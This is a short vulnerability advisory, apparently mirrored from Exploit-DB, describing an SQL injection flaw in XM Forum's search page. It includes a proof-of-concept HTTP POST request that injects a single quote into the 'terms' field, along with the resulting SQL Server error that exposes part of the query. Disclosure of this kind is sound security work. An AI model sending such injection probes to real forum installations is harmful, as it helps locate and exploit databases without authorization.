XM Forum SQL Injection Vulnerability

vendor:

XM Forum

by:

SecurityFocus

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: XM Forum

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

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Platforms Tested: N/A

2012

XM Forum SQL Injection Vulnerability

XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/55299/info

XM Forum is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

P0C : 
HTTP HEADERS : 
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.example.com/chilli_forum/search.asp
Cookie: TrackID=%7B54A35316%2D7519%2D405D%2D950A%2DA8CF50497150%7D; ASPSESSIONIDASSRDDBT=LPENAGHCNMNGMAOLEAJFMFOA
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Post Data --------------------
terms=%27&stype=1&in=1&forum=-1&ndays=0&mname=

Http response : 

28 Microsoft OLE DB Provider for SQL Server 8 21 error ' 8 80040e14 8 ' 1f

84 Unclosed quotation mark after the character string ') ORDER BY tbl_Categories.cOrder, tbl_Forums.fOrder, tbl_Topics.tLastPostDate'. 7 1f